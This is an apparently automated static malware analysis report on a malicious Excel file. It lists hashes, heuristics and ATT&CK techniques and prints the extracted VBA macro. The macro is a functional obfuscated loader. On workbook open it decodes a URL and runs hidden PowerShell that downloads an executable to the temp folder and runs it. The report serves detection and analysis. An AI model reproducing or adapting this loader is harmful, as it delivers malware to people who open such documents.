Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e3880ad4c222eaac…

MALICIOUS

Office (OOXML)

92.4 KB First seen: 2020-09-07
MD5: f06905026409fc9d8e793c92ed1240b3 SHA-1: 599fdb9cf663378a2e5ef79852a2c1b52dc21b86 SHA-256: e3880ad4c222eaacdbe02f1e6b3c66d580d2f1335ad7ce2e342a45039eb30116
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1566.001 Spearphishing Attachment

The file contains an obfuscated VBA macro that executes upon opening the document. The macro decodes a URL and uses PowerShell to download and execute a file named 'putty.exe' from that URL to the user's temporary directory. The presence of a Workbook_Open macro and the use of CreateObject indicate a malicious intent to execute arbitrary code.

Heuristics 6

  • ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4493 bytes
SHA-256: e55456da77b4621919f5bf42ec0befafe72017d760047b5c72d0b1fa157479d7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Loader"aHR0cHM6Ly9zZWVkd2VsbHJlc291cmNlcy54eXovUDUxQnpSZjdkdmwydG54LmV4ZQ=="
End Sub
Public Sub Loader(Link As String)

CreateObject(PLsoFgAnMqEWaYTBrAPlKMCbdgTHALKPPAOErwVQQwEEWWW("57 53 63 72 69 70 74 2E 53 68 65 6C 6C")).Run (Base64Decode("cG93ZXJzaGVsbC5leGUgLWV4ZWN1dGlvbnBvbGljeSBieXBhc3MgLVcgSGlkZGVuIC1jb21tYW5kIChuZXctb2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJw==" & Link & "JywkZW52OlRlbXArJ1xwdXR0eS5leGUnKTsoTmV3LU9iamVjdCAtY29tIFNoZWxsLkFwcGxpY2F0aW9uKS5TaGVsbEV4ZWN1dGUoJGVudjpUZW1wKydccHV0dHkuZXhlJyk="))

End Sub

Function aw73543hset(str As String) As Variant: Dim bytes() As Byte: bytes = str: aw73543hset = bytes: End Function
Function olt1qbjd6jmpzn75u(bytes() As Byte) As String: Dim str As String: str = bytes: olt1qbjd6jmpzn75u = str: End Function

Function mvkc3mbcvhw4jkzws(str As String) As String
    Const VBCGhdMK_ As String = "f03gk5mhyfvplurel"
    Dim GKiaNHB_() As Byte, SokNAH_() As Byte
    GKiaNHB_ = aw73543hset(str)
    SOtAN_ = aw73543hset(VBCGhdMK_)
    
    Dim BoLpaBH As Long
    BoLpaBH = UBound(GKiaNHB_)
    
    ReDim KoSoVoBPo_(0 To BoLpaBH) As Byte
    
    Dim idx As Long
    
    For idx = LBound(GKiaNHB_) To BoLpaBH:
        If Not GKiaNHB_(idx) = 0 Then
            c = GKiaNHB_(idx)
            For i = 0 To UBound(SOtAN_):
                c = c Xor SOtAN_(i)
            Next i
            KoSoVoBPo_(idx) = c
        End If
    
    Next idx
    
    mvkc3mbcvhw4jkzws = olt1qbjd6jmpzn75u(KoSoVoBPo_)
End Function


Public Function PLsoFgAnMqEWaYTBrAPlKMCbdgTHALKPPAOErwVQQwEEWWW(ByVal EmQZTpMNoPPgDmQqfolNHJfeVdRHwkIRZIvxkPMSoNudyOhjXRiDLln As String) As String
Dim r6b3wnywkvp3pbvbm As String
Dim qjca1yvn2xyx54ak9 As String
Dim lcoaqi9ijjtyi19lv As Long
    For PLsoFgAnMqEWaYTBrAMPlKMNBCbdgTHANLKPPAOErwVQQwEEWWW = 1 To Len(EmQZTpMNoPPgDmQqfolNHJfeVdRHwkIRZIvxkPMSoNudyOhjXRiDLln) Step 3
        PLsoFgAnMqEWaYTBrAMPlKMCbdgTHALKPPAOErwVQQwEEWWW = Chr$(Val(mvkc3mbcvhw4jkzws(" " & "" & chr(106) ) & Mid$(EmQZTpMNoPPgDmQqfolNHJfeVdRHwkIRZIvxkPMSoNudyOhjXRiDLln, PLsoFgAnMqEWaYTBrAMPlKMNBCbdgTHANLKPPAOErwVQQwEEWWW, 2)))
        qjca1yvn2xyx54ak9 = qjca1yvn2xyx54ak9 & PLsoFgAnMqEWaYTBrAMPlKMCbdgTHALKPPAOErwVQQwEEWWW
    Next PLsoFgAnMqEWaYTBrAMPlKMNBCbdgTHANLKPPAOErwVQQwEEWWW
    PLsoFgAnMqEWaYTBrAPlKMCbdgTHALKPPAOErwVQQwEEWWW = qjca1yvn2xyx54ak9
End Function


Function Base64Decode(ByVal base64String)
  
  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim dataLength, sOut, groupBegin
  base64String = Replace(base64String, vbCrLf, "")
  base64String = Replace(base64String, vbTab, "")
  base64String = Replace(base64String, " ", "")
  dataLength = Len(base64String)
  If dataLength Mod 4 <> 0 Then
    Err.Raise 1, "Base64Decode", "Bad Base64 string."
    Exit Function
  End If
  For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    numDataBytes = 3
    nGroup = 0

    For CharCounter = 0 To 3
      
      thisChar = Mid(base64String, groupBegin + CharCounter, 1)

      If thisChar = "=" Then
        numDataBytes = numDataBytes - 1
        thisData = 0
      Else
        thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
      End If
      If thisData = -1 Then
        Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
        Exit Function
      End If

      nGroup = 64 * nGroup + thisData
    Next
    
   
    nGroup = Hex(nGroup)
    
    
    nGroup = String(6 - Len(nGroup), "0") & nGroup
    
    
    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 5, 2)))
    
  
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 6656 bytes
SHA-256: dd421c59670f5a4802bc9253e1287cdce80ac159584606c6830c13faca855e12
Detection
ClamAV: Xls.Dropper.EPPlus-9802867-2
Obfuscation or payload: unlikely

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